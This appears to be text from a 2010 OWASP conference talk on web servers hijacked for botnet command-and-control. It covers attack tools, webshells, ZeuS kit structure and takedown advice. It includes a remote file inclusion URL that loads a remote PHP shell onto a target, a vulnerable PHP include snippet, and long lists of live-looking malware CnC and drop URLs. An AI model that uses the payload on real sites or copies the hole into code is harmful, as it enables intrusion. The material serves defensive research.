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Bots



Shifting sands of botnet CnC
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• Everyday access to 100k-2M bots

– Price range from $200 (24hr use) to $50k (to own)

• Self-build botnet provisioning

– Off-the-shelf tools

– Avg. 20k bots within a week (500k if optimized)

• Globally distributed CnC infrastructure (normal)
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Changes in Attack Strategy
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Old way
(1)  Recon the location
(2)  Select the most vulnerable site
(3)  Recon the target
(4)  Test defenses
(5)  Exploit weakest vulnerability

“lowest hanging fruit”

New way
(1)  Target the entire location
(2)  Launch all exploits, against all targets,

simultaneously 

“the Monte Carlo method”
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Ecosystem

• One-to-one relationships are dead

– One botnet per malware (fiction)

– One botnet per operator (fiction)

• Federated ecosystem

– Professional service provisioning

– Cottage industry of plug-ins

– Talented and specialist contractors
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Botnet Ecosystem
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Infrastructure Providers (IaaS)
Hacked servers, server redundancy, botnet victims, etc.

Hosting Providers (PaaS)
Bullet proof hosters, “friendly” ISP’s, malware hosting, etc.

Delivery Providers (SaaS)
iFrame services, email/phishing campaigns, etc.

Managed Service Providers (MSS)
DNS hosting, fluxing services, SEO, etc.

Professional Service Providers (PSS)
Malware, exploit packs, translation, web design, etc.

Affiliates
Distribution, infection, etc.

Resellers
Laundering, traders, etc.
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Why, how and what for?



Why Target

• Why Target a Web server?

– It’s a server! … and it’s probably reliable
• High speed, lots of threads, long uptime

• Up constantly, easy to locate

– It’s better connected!
• Vulnerabilities are easily located and exploited

• Accessible, fast upload/send speed

– It’s trusted by the Internet!
• Reputation is key
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How to p0wn

• Commonest ways to p0wn

– Exploitation of “searchable” vulnerabilities
• Exploitation of 3rd-party vulnerabilities

• Exploitation of “custom” webapp vulnerabilities

– Default accounts

– Bruteforcing of key accounts

– Exploiting lax file permissions

– Permission escalation of stolen accounts
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What for…
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• What is the p0ned server used for?

– Core component of global CnC infrastructure

– Bruteforcing additional servers for CnC

– Bypassing blacklist filters

– Reputation hijacking

– Domain virtual host hijacking
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Penetration



Common Penetration Tools

• Ideal features

– Mass exploitation

• ASPROX Botnet (Mass SQL Injection)

– Little work required

• Auto-rooters (for privilege escalation)

– IRC Friendly

– Google Dork’able

– Most tools are also used by web defacers



Access to new vulnerabilities
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SQL I Helper V.2.7
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SQL Injection Attack Tools

* Automatic page-rank verification
* Search engine integration for finding 
“vulnerable” sites
* Prioritization of results based on probability 
for successful injection
* Reverse domain name resolution
* etc.
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SQL Injection Tools
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Google Dorks
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Google Dork Examples

A “Google Dork” is a 
specially crafted search 
query which can be 
used, for example, to 
return results detailing 
all websites running a 
specific version of a 
specific application…

“Google Dorks” for 
VopCrew IJO Scanner v1.2
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Tools of the Trade

• LFI Intruder

• Single LFI vulnerable scanner

• SCT SQL Scanner

• Priv8 RFI Scanner v3.0

• PITBULL RFI-LFI Scanner

• Osirys SQL/RFI/LFI Scanner

• VopCrew IJO Scanner (LFI/RFI with Dorks)

• FeeLCoMz RFI Scanner Bot 5.0 (FaTaLisTiCz)
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LFI Intruder
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AutoRooter Site
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Auto-rooter

9/6/2010 24OWASP AppSec 2010 USA – P0wn3d for Botnet CnC – Gunter Ollmann



Exploitation



phpMyAdmin Exploitation

• Exploiting a vulnerability in phpMyAdmin

– Debian DSA-2034-1 (April 17 2010)
• CVE-2008-7251 - phpMyAdmin may create a temporary directory, if the configured 

directory does not exist yet, with insecure filesystem permissions.

• CVE-2008-7252 - phpMyAdmin uses predictable filenames for temporary files, 
which may lead to a local denial of service attack or privilege escalation.

• CVE-2009-4605 - The setup.php script shipped with phpMyAdmin may unserialize
untrusted data, allowing for cross site request forgery.

• Botnet agent “dd_ssh” installed on the server

– Drops the malicious files in /tmp/vm.c and 
/tmp/dd_ssh, and then starts the “dd_ssh” service

• Bruteforce SSH servers… (mid-August 2010)
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Remote File Inclusion Attacks

• Mostly Kiddiez with 
RFI Scannerz

• Effective for low 
hanging fruit

• Remotely executed & 
Run as “www” user
– PHP IRC Bots

– Web Shells (c99/r57)

– Database Dumpers

• Code usually publicly 
available

OWASP AppSec 2010 USA – P0wn3d for Botnet CnC – Gunter Ollmann



RFI Technique

• Find a free upload site

– Upload php site as .txt

– Find vulnerable target site

• RFI Scanners make this easy

– Execute Uploaded php as remote file
• http://www.targetsite.com/index.php?f=“http://freeuploadsite.com/phpshell.txt”

– Upload C&C control panel on target site

– Vulnerable because of no input sanitization
e.g.          <php

include($_GET[‘page’]);

?>
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Upload Backdoor

Website with PHP as ‘.txt’ file ready for use against target 
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Obfuscated Webshell

Compressed base64 webshell code hosted on free web hosting site 
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RFI Scanning

Basic RFI Scanner (many publicly available, most written in python/perl)
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Persistence and Patience

Many scan 1000++ statically known URI’s against targets (detection is rather easy)
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Once Found

• Hundreds of Web backdoors
– “Auto-rooters” or password extraction
– Most based on 3 sources of code…

• R57
• C99
• Locus7Shell

– Enables Full control of website 
via browser

– Webshell code non-existent locally
• Anti-Forensics
• Visible via web log analysis
• Executable processes by WWW visible (unusual)

The backdoors have a 
range of functionality, 
but most of them will 
have methods to bypass 
PHP security functions, 
steal information, 
read/modify files, access 
SQL databases, crack 
passwords, execute 
arbitrary commands and 
escalate privileges.
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C99 Shell
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WebShell (MulciShell)

Note URL – Remote code running locally – Site Owned!
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Locus7Shell
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CnC URL’s



Bot agents & their CnC

• Bot agents need to connect to CnC

– Receive new configuration files, malware updates, 
lists of backup CnC, receive cached commands

• Structured CnC configutation URL’s

– Frequently indicates DIY pack being used

– Can help identify botnet operator group
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ZeuS CnC Structures

ZeuS Kit Default URL URL Type

zephehooqu.ru/bin/teemaeko.bin CnC

iveeteepew.ru/bin/teemaeko.bin CnC

jocudaidie.ru/bin/cahdoigu.bin CnC

johgheejae.ru/bin/oopaiboo.bin CnC

kaithuushi.ru/bin/aiphaipi.bin CnC

deilaeyeew.ru/bin/ucuosaew.bin CnC

adaichaepo.ru/bin/thootham.bin CnC

ootaivilei.ru/bin/thootham.bin CnC

voraojoong.ru/bin/saejuogi.bin CnC

dahzunaeye.ru/bin/sofeigoo.bin CnC

ohphahfech.ru/bin/baiquaad.bin CnC

ohphahfech.ru/bin/eegotook.bin CnC

ohphahfech.ru/bin/hueghixa.bin CnC

ohphahfech.ru/bin/laangiet.bin CnC

ohphahfech.ru/bin/oomiephe.bin CnC
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Other ZeuS CnC Structures

ZeuS Kit Custom Cnc URL URL Type

freehost21.tw/b/cfg375.bin CnC

www.technoplast.com.ua/catalog/nibco/tmc.bin CnC

askuv.com/percent/update.bin CnC

leadingcase.cc/20aug_old.cpm CnC

mswship.com/xed/config.bin CnC

nascetur.com:81/wc/cof58.bin CnC

nascetur.com:81/wc/g6.php Drop Site

nascetur.com:81/wc/512.exe Trojan 
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Bredolabs

Custom CnC URL URL Type

gigafleet.ru:8080/new/controller.php
CnC

globaljoke.ru:8080/new/controller.php
CnC

gothguilt.ru:8080/new/controller.php
CnC

greatfile.ru:8080/new/controller.php
CnC

greatmoder.cn/bm_a/controller.php?action=report&guid=0&rnd=123&uid=5&entity=
CnC

hjwbxhqr.cn/win-xp/controller.php?action=bot&entity_list=&uid=1&first=1&guid=3496937282&v=15&rnd=11987634
CnC

imoviemax.ru/new/controller.php?action=bot
CnC

krottorot.cn/ging/controller.php?action=bot&entity_list=&uid=&first=1&guid=1824245000&rnd=946862
CnC

krottorot.cn/ging/controller.php?action=report&guid=0&rnd=946862&uid=&entity=1241486361:unique_start
CnC

mmsfoundsystem.ru/public/controller.php?action=bot&entity_list=&uid=&first=1&guid=13441600&v=15&rnd=8520045
CnC

websitecheck.cn/nr/controller.php?action=bot&entity_list=&uid=&first=1&guid=1824245000&rnd=140493

CnC

worldhostdns.com/FOOD/controller.php?action=bot&entity_list=&first=1&rnd=981633&uid=1&guid=4723841

CnC

www.ghthchinalimited.com.cn/admin/controller.php?action=bot&entity_list=1238216956&uid

CnC

youaskedthedomain.cn/spl/controller.php?action=bot&entity_list=&uid=666&first=1&guid=13441600&v=15&rnd=36431478

CnC
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NeoSploit Kit w/ Mebroot loader

Custom Exploit Kit URL URL Type

google.analytics.com.bidxctvqvwrw.info/nte/GNH4
Exploit Kit

xtmhltmxaacg.com/ld/bernfr/
Exploit Kit

acdlsmladve.com/nte/GNH4
Exploit Kit

ddehkyhddve.com/nte/GNH4
Exploit Kit

ddewphwddve.com/nte/prox.exe
Exploit Kit

ghtsuumuno.com/nte/GNH4
Exploit Kit

google.analytics.com.vwrvqmvrvjwi.info/nte/GNH4
Exploit Kit

lbckqbkldve.com/nte/GNH4
Exploit Kit

uefnwtnudve.com/nte/GNH4
Exploit Kit
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NeoSploit Kit w/ ZeuS loader

Custom Exploit Kit URL URL Type

acdlsvladve.com/nte/INDEP8 Exploit Kit

berber2update.biz/cgi-bin/kln Exploit Kit

dbcavsaddve.com/nte/indep8 Exploit Kit

diaiscjdthr.com/nte/INDEPHANDLER Exploit Kit

googleinrus.in/cgi-bin/plt Exploit Kit

jbaagpepjvc.com/nte/NONE1 Exploit Kit

strbypass.uz.ua/cgi-bin/guest Exploit Kit

yburuvaeqcv.com/nte/none1 Exploit Kit

footbal.rv.ua/cgi-bin/guest Exploit Kit

jefshosjdve.com/nte/INDEPHANDLER.py Exploit Kit
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Gozi

Gozi Kit Default URL Type
89.187.37.106/cgi-bin/options.cgi?user_id=521239303&version_id=2
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=2&crc=00000000

CnC

89.187.53.197/cgi-bin/options.cgi?user_id=1102239761&version_id=14
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=14&crc=78c6dbd2

CnC

27.131.32.20/cgi-bin/forms.cgi CnC

91.213.174.40/cgi-bin/forms.cgi CnC

91.213.174.40/cgi-bin/options.cgi?user_id=2527700603&version_id=18
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=18&crc=78c6dbd2

CnC

27.131.32.20/cgi-bin/options.cgi?user_id=2527700603&version_id=18
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=18&crc=78c6dbd2

CnC

77.78.240.135/cgi-bin/options.cgi?user_id=1964493172&version_id=3059
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=3080&crc=3cc43328

CnC

hasterulits.com/cgi-bin/options.cgi?user_id=2219249075&version_id=4667580
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=4667580&crc=00000000

CnC

tryfindithere.com/cgi-bin/cmd.cgi?user_id=2439225677&version_id=3076
&passphrase=fkjvhsdvlksdhvlsd&socks=0&version=3076&crc=00000000

CnC
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Koobface

Koobface URL URL Types

69.47.32.230/d=mcfl-msnl.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

69.47.32.230/d=tmpu.org/0x3E8/view/console=yes/setup.exe Malware Drop Site

74.203.223.7/d=ayava.org/0x3E8/view/console=yes/setup.exe Malware Drop Site

74.203.223.7/d=chrepro.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

76.123.62.208/d=abid.co.cc/0x3E8/view/console=yes/setup.exe Malware Drop Site

76.123.62.208/d=chrepro.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

84.108.198.143/d=turk-ie.org/0x3E8/view/console=yes/setup.exe Malware Drop Site

84.108.198.143/d=turk-ie.org/0x3EB/view/console=yes/setup.exe Malware Drop Site

98.235.240.245/d=brevard-fl.com/0x3E8/view/console=yes/setup.exe Malware Drop Site

agr255.cne-escutismo.pt/.sys/?getexe=fb.75.exe Malware Drop Site

boatnews.eu/.sys/?getexe=fb.76.exe Malware Drop Site

car-transport.com.au/.sys/?getexe=fb.101.exe Malware Drop Site
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SpyEye

SpyEye URL Type

barcalys-trial3.com/main/bin/build.exe
Malware Drop

coundnes.com/cache/bin/build.exe
Malware Drop

eu-analytics.com/sp4a/bin/1_sp4a_new.exe.crypted.exe
Malware Drop

217.23.7.21/date/gate.php?guid=User!SANDBOX0!D06F0742&ver=10129&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=
Admin&cpu=19&ccrc=3D893DD9&md5=60d6d584515e1925e0d0c9edd8b32eed

CnC

200.63.45.69/~datosco/main/gate.php?guid=User!SANDBOX2!D06F0742&ver=10132&stat=ONLINE&ie=6.0.2900.2180&os=5.1
.2600&ut=Admin&cpu=100&ccrc=690E5C55&md5=82beb808bef523b7660af10266377407

CnC

91.213.174.34/spyeye_main/gate.php?guid=User!SANDBOX2!D06F0742&ver=10200&stat=ONLINE&ie=6.0.2900.2180&os=5.1.
2600&ut=Admin&cpu=22&ccrc=B144ABF5&md5=e8a713c24a38b9339474f71f5bcff78a

CnC

77.78.240.162/spye/gate.php?guid=User!SANDBOX0!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut
=Admin&plg=ftpbc&cpu=100&ccrc=8CCFE0AB&md5=84a9aedb378c3ec297a775c1f7fc573a

CnC

113.11.194.173/eye/main/gate.php
CnC

204.12.243.187/main/gate.php
CnC

200.56.243.137/includes/admin/gate.php?guid=User!SANDBOX2!D06F0742&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=
5.1.2600&ut=Admin&cpu=80&ccrc=3FF0F25D&md5=86e1bb6f428421a06bdae1b2b55323d1

CnC

200.56.243.137/includes/phpbb/gate.php
CnC

200.56.243.137/joomla/admin/gate.php
CnC

cocainy.net/spmini/gate.php?guid=User!SANDBOX0!D06F0742&ver=10225&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut
=Admin&cpu=100&ccrc=ED1A0A53&md5=1aa16572aee1486c7cd8c78dad9cb510

CnC

craken.biz/aimpis/gate.php?guid=User!SANDBOX2!D06F0742&ver=10211&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=
Admin&cpu=100&ccrc=3AF32A5D&md5=a5c67adc367e850f49c441b2cee4b59b

CnC
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Oficla

Oficla URL Type

www.dosuguss.net/myl/bb.php?v=200&id=130451189&b=dosug&tm=106 CnC

www.freecapch.info/flashcapch/bb.php?v=200&id=199826733&b=8519124969&tm=2 CnC

www.freecapch.info/flashcapch/bb.php?v=200&id=199826733&b=spmt4&tm=2 CnC

www.global-tickets.net/myldr/bb.php?id=528593412&v=200&tm=223&b=0688077080 CnC

www.gnfdt.cn/loader/bb.php?id=913882973&v=200&tm=45&b=4802728596 CnC

www.myloader.cn/mld/bb.php?id=962312204&v=200&tm=3&b=centrino CnC

www.tomorrrrow.cn/loader/bb.php?id=287204598&v=200&tm=729&b=svyazka CnC

onufriy.3utilities.com/loading.php?spl=MS09-002 CnC

0rgazmer.com/dmr/bb.php?id=555611691&v=200&tm=2&b=NONE25 CnC

adm1n.ru/dmr/bb.php?id=123456789&v=200&tm=1 CnC

andige.net/forum/bb.php?v=200&id=636608811&b=Liberty2&tm=2 CnC

apsight.ru/my/bb.php?v=200&id=123456789&b=goldstat&tm=3 CnC
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Oficla/Sasfis

Oficla Sasfis URL Type

124.217.239.26/_sys/bb.php?v=200&id=636608811&b=6133081851&tm=2 CnC

84.19.161.62/802374/22.php?v=200&id=636608811&b=579&tm=2 CnC

91.188.59.21/12345/bb.php?v=200&id=636608811&b=balu1&tm=2 CnC

84.19.161.62/902834/1930.php?magic=04bf04c00001&ox=2-5-1-
2600&tm=3&id=24905431&cache=4154905385&N=0

CnC

77.221.153.183/.lst/bb.php?v=200&id=554905388&b=SPL0002&tm=3 CnC

ablegang.com/master/bb.php?v=200&id=123456789&b=2725761651&tm=1 CnC

aervrfhu.ru/kjflth/bb.php?v=200&id=636608811&b=8696290604&tm=3 CnC

autotradersuk.net/arc/bb.php?v=200&id=636608811&b=0219ls12&tm=2 CnC

baksomania2010.ru/kuzy/bb.php?v=200&id=636608811&b=3mart&tm=3 CnC
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Otlard

Otlard URL Type

alhatester.com/cp/tasksz.php?dc CnC

b00tlife.com/cp/tasksz.php?dc CnC

lovinezer.com/cp/tasksz.php?dc CnC

mcd0nalds.com/cp/tasksz.php?dc CnC
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TDL3 Gang



TDL3 Gang

Type

64.191.25.166/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg

CnC

69.10.35.251/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg

CnC

69.10.35.251/perce/465cbbfb5c459068718ea7c544e87ed2a776f651b13f6f75e085d95d0f16be4d73603cc8bfd83f316/d4f5b0c5628/qw
erce.gif

CnC

69.10.35.251/perce/8020ac6db14a14e0ed94c17da86c8d0938cff0c02ba29014aee9a81000a9b998de6c0f98a422879eb/400/perce.jpg

CnC

69.10.35.251/perce/96ec3b1bcc25c048614e07d5d478be22d7565661f17f1f754035b9cd3ff64ecde370eca8afa8ff01f/f0e/perce.jpg

CnC

88.214.201.132/perce/447c05f1e6bff6d24d24a15d483cedb9689f10406b7230b46e69c850008919480e2c3fe8d432c72e6/607/perce.jpg

CnC

images-humanity.com/werber/30f/216.jpg

CnC

imagesmonitor.com/werber/e4d08081926/216.jpg

CnC

pictureswall.com/werber/b0f/216.jpg

CnC

hipartsonline.com/werber/548582c8e44/217.gif CnC

virtualartsonline.com/perce/23a8802761f8ac0664709edb14bbd80dee 
020a2ca627fe38e60811523634ef62dc748b397c3e4cd0a/d4b8c69787c/qwerce.gif 

CnC

videoartfilms.com/werber/34a826c797b/217.gif

CnC
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TDL3 Gang Favorite CnC Locations

Location CnC servers

United States 184

Netherlands 87

China 41

Israel 8

Hong Kong 8

Canada 4

Russian Federation 3

Sweden 3

Romania 2

Ukraine 2

United Kingdom 2
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TDL3 Gang

• Favors Segregating malware drop domains 
from Command-and-Control Servers

– Malware Drop Sites

• Prefers domains with words like video, film, movies 

– Command-and-Control Servers

• Leverage domains with art or arts (historically)

• TDL3 operators have recently been changing their 
patterns to prevent attribution

– TDL Rootkit acts as a loader that can download 
any desired crimeware for the right $, €, ¥,etc…

OWASP AppSec 2010 USA – P0wn3d for Botnet CnC – Gunter Ollmann



TDL3 Gang (Domains)

• fineartstalk.com

– Analysis of this domain led us to IP 6.6.6.6 an CnC for their botnet

– Further analysis of registered domains to this IP address 

6.6.6.6 (none) 6.6.0.0/16 AS668

United States DREN (U.S. DoD Defense Research and 
Engineering Network)

667855.com a 6.6.6.6
United States

8888hq.com a 6.6.6.6
United States

aldorado-art.com a 6.6.6.6
United States

dinomadness.info a 6.6.6.6
United States

fineartstalk.com a 6.6.6.6
United States

jouw-iphone3gs.com a 6.6.6.6
United States

mauihomearts.com a 6.6.6.6
United States

nuprijshier.com a 6.6.6.6
United States

photospotter-msn.com a 6.6.6.6
United States

west-arts-studio.com a 6.6.6.6
United States

wildworksdesign.com a 6.6.6.6
United States



TDL3 Gang Continued

• fineartstalk.com

Graph Source:Robtex.com
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TDL3 Gang (DNS)

Record Name IP Reverse Route AS
a 6.6.6.6 United States (none) 6.6.0.0/16 AS668 DREN (U.S. DoD 

Defense Research and 
Engineering Network)

ns-soa ns1.registrar.am 15 days old 209.85.99.32 United 
States

209-85-99-
32.opticaljungle.com

209.85.0.0/17
ThePlanet.com 
Internet Services, Inc.

AS21844 THEPLANET-
AS2 ThePlanet.com 
Internet Services, Inc.

ns ns3.registrar.am 15 days old 209.85.99.29 United 
States

209-85-99-
29.opticaljungle.com

ns4.registrar.am 15 days old 74.52.35.85 United 
States

55.23.344a.static.thep
lanet.com

74.52.0.0/14
ThePlanet.com 
Internet Services, Inc.

ns1.registrar.am 15 days old 209.85.99.32 United 
States

209-85-99-
32.opticaljungle.com

209.85.0.0/17
ThePlanet.com 
Internet Services, Inc.

ns2.registrar.am 15 days old 174.132.26.225
United States

e1.1a.84ae.static.thepl
anet.com

174.132.0.0/15

• mauihomearts.com



TDL3 Gang

• This crimeware group focuses on 
exploitation of servers via numerous 
methods more so on SSH or SQL Injection 
and pointing their SOA’s to your servers

• From a client infection perspective their 
focus in spam, drive-by-downloads, and 
client-side-exploits



Botnet Infrastructure Analysis

• TDL3 Gang - Operator Analysis

Component

Motivation Money and Information (intelligence)

Objectives Opportunistic  & Target Specific

Timeliness Between Jan 2009 – June 2010 domain have been expired about every 3 weeks like 
clockwork (some CnC domains are only even available for 24 hours before going down)

Resources Unknown

Risk Tolerance Very High – Due to use of DoD IPs  as actual CnC points for botnets outside of the DoD in 
public IP space (hard coded into binaries)

Skills & Methods Seemingly non-advanced techniques

Actions Primarily focused on infections and selling bot and spam operations

Attack Origination Points Numerous CnC locations around the world

Numbers Involved in Attack > 800k victims and hundreds of CnC points –both active and non-active

Knowledge Sources Malware, Network, and Online Analysis
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Modular Botnet
Construction



What’s in a name?

• AV industry is #$@^ed up

– Zeus – aka Zbot, PRG, Wnspoem, Gorhax, Kneber

– “Trojan horse” that steals banking info. (if only)

• Botnet names based upon their malware 
agents guarantee confusion…

• “Multi-function” malware…
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Zeus & Distribution

1

2
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Ease of Installation

• Easy to install

• Most compromised environments

– Automatically support

– Low hanging fruit

– Blacklist proof (mixed domain)

– Blend in – Anonymity

– Can be installed in minutes automagically

– Web vulnerabilities abound
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Analysis of Zeus file structure

• Main folders
– Install

– System

– Theme

• 2 files in root dir
– ./cp.php – control panel

– ./gate.php – used for receiving data from bots

• PHP backend (Zend and MySQL)
– Most compromised websites support this 

environment
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Install Directory

• Geobase.txt

– GeoIP identification for incoming bots

• Index.php

– Initial configuration
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System Directory
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Key Files

• Config.php
– Configuration

• Global.php
– Global Attributes

– RC4/RC2 Encryption function

• .htaccess
– No prying eyes

– deny from all

• Jabberclass.php
– Jabber Configuration
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Configuration
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Botnet Parameters
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Jabber Configuration
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Encryption

• RC4 (sometimes RC2 is used)
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Themes Directory

• Standard Basic HTML

– CSS 

– Index

– Header

– Footer

– icons
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Battling at the Victims Host

• Similar kit to 
Zeus

• “Kill Zeus”
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Sophisticated Management



SpyEye Stats
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Sophisticated Management
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Man-in-the-browser extraction
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Repercussions



You’re being watched (and blocked)
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One-way Listing…
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Takedown
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• Takedown, teardown and sinkholing

• If the domain owner can’t be contacted…

– Take ownership of the domain name

– Modify DNS settings for redirection

– Shutdown or delete the entire Web site



Locating Botnets

• Identification using attack output

– Spam, DoS, Brute-force, etc.

• Based upon CnC infrastructure

– Hosting facilities, domain names, 
DNS, IP, etc.

• Enumeration of victim groups

– IRC and P2P infiltration, server 
hijacking, etc.

• Communications with CnC

– Instructions being sent/received 
between bot master and victim
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Final Inspection



Targeting Web Application Servers 

• Entire criminal ecosystem dependent upon 
hacking Web servers

• Backbone of many large botnets

• Important for evasion of protection technologies

• Lowest hanging fruit for compromise
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Conclusions

• DIY botnet kits and exploit tools
– Easy to acquire, plentiful and “good enough”

• Protection strategies obvious
– Patch, verify and continuous alerting

• File Include vulnerabilities
– Simply specifying which directory a specific web 

application or website is allowed to include files from 
will effectively protect against this type of 
exploitation.
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Questions?

Gunter Ollmann

email: gollmann@damballa.com  
Web:  http://www.damballa.com    Blog:  http://blog.damballa.com 
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